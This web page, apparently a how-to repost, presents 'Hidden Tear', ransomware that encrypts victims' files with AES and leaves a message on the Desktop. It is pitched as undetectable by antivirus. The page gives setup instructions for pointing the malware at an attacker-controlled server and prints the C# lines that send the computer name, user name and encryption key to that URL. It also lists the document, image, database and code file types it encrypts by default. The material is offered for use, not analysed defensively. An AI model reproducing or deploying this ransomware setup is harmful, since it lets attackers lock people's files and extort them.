How To

Hidden Tear – Ransomware-like file crypter

  • Uses AES algorithm to encrypt files.
  • Sends encryption key to a server.
  • Encrypted files can be decrypted in decryption program with encryption key.
  • Creates a text file on Desktop with given message.
  • Small file size (12 KB)
  • Undetectable by antivirus programs (15/08/2015)
  • Use a web server which supports scripting languages like PHP, PYTHON etc.
  • Change this line with your URL (Use https connection to avoid eavesdropping)
    string tragretURL = "https://www.yoursitehere.com/hidden-tear/write.php??info=";
  • The script should writes the GET parameter to a text file. Sending process running in SendPassword() functionstring info = computerName + "-" + userName + " " + password;
    var fullUrl = targetURL + info;
    var conent = new System.Net.WebClient().DownloadString(fullUrl);
  • Target file extensions can be change. Default list:
    var validExtensions = new[]{".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"};
To Top

Pin It on Pinterest

Share This